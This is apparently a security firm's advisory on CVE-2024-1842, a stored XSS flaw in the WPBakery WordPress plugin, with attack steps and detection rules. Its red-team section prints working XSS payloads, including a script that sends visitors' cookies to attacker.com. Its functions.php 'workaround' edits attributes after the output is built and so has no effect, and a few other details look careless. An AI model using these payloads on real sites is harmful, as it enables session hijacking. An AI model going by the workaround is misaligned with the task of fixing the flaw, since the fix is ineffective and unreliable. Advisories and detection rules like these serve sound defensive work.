CVE-2024-1842

Executive Summary

CVE-2024-1842 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery plugin for WordPress, affecting all versions up to and including 7.5. The flaw resides in the Custom Heading tag attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential data theft, session hijacking, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress ecosystem through the WPBakery plugin, a commercial page builder. Since the plugin is distributed via the WordPress plugin repository and direct sales, users must ensure they are using the latest version. The lack of a confirmed patch means users should monitor the vendor’s updates closely and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor access or higher
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts poses a significant risk to site integrity and user trust.

Deep Dive & Mechanics

The vulnerability exists in the WPBakery plugin’s handling of the Custom Heading tag attribute. When a user with contributor-level access or higher creates or edits a page using the WPBakery page builder, they can set a custom heading tag (e.g., <h1>, <h2>, etc.). The plugin fails to properly sanitize and escape the input provided in this attribute, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An authenticated attacker with contributor privileges logs into the WordPress admin panel.
2. The attacker creates a new page or edits an existing one using the WPBakery page builder.
3. In the Custom Heading tag attribute, the attacker inputs a malicious payload, such as <img src=x onerror=alert('XSS')>.
4. The plugin stores this payload in the database without proper sanitization.
5. When any user (including administrators or visitors) views the page, the payload executes in their browser context.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or fails to apply context-aware escaping for HTML attributes. The Custom Heading tag attribute is likely output directly into the HTML without being filtered for JavaScript event handlers or other dangerous constructs.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (wp-bakery/includes/classes/class-vc-shortcode.php):

// Vulnerable: Direct output without sanitization
$heading_tag = $atts['custom_heading_tag'];
echo '<' . $heading_tag . '>Content</' . $heading_tag . '>';

Patched Code (Hypothetical):

// Patched: Use whitelist and proper escaping
$allowed_tags = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'div');
$heading_tag = in_array($atts['custom_heading_tag'], $allowed_tags) ? $atts['custom_heading_tag'] : 'p';
echo '<' . esc_attr($heading_tag) . '>Content</' . esc_attr($heading_tag) . '>';

The patched version restricts the tag to a whitelist of safe HTML elements and uses esc_attr() to ensure no malicious characters are output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WPBakery plugin version <= 7.5
• Contributor-level account credentials

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Use the WPBakery page builder to add a Custom Heading element.
4. In the "Tag" field, inject the following payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Publish the page.
6. When an administrator or visitor views the page, the JavaScript executes.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor for unusual page creation or editing by contributor-level users.
• Look for pages containing suspicious HTML attributes (e.g., onerror, onload, <script> tags) in the post content.
• Use web application firewalls (WAF) to block common XSS patterns.

Mitigation:

• Disable the Custom Heading tag functionality until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-bakery/ (version <= 7.5)
• Database: Posts containing <script> tags or event handlers in the post_content field.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing page creation/editing by contributor users with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2024_1842_WPBakery_XSS {
    meta:
        description = "Detects WPBakery plugin files vulnerable to CVE-2024-1842"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1842"
    strings:
        $vuln_func = "custom_heading_tag" nocase
        $vuln_output = "echo '<'" nocase
    condition:
        $vuln_func and $vuln_output
}

Sigma Rule

title: CVE-2024-1842 WPBakery Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-1842 via stored XSS in WPBakery plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.response.body|contains:
            - 'custom_heading_tag'
            - 'onerror='
            - 'onload='
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of custom heading tags
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1842 WPBakery Stored XSS Attempt"; flow:to_server; content:"custom_heading_tag"; http_client_body; pcre:"/(onerror|onload|script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Custom Heading tag feature via a custom plugin or code snippet until a patch is released.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Fix:

• Apply the official patch from WPBakery once released.
• Update the plugin to the latest version (if a patched version becomes available).
• Conduct a security audit of all WordPress plugins and themes.

Workaround:

• Add the following code to your theme's functions.php to sanitize the custom heading tag:

add_filter('vc_shortcode_output', function($output, $shortcode, $atts) {
    if ($shortcode == 'vc_custom_heading') {
        $allowed_tags = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'div');
        $atts['tag'] = in_array($atts['tag'], $allowed_tags) ? $atts['tag'] : 'p';
    }
    return $output;
}, 10, 3);

Valters IT
Securing Digital Frontiers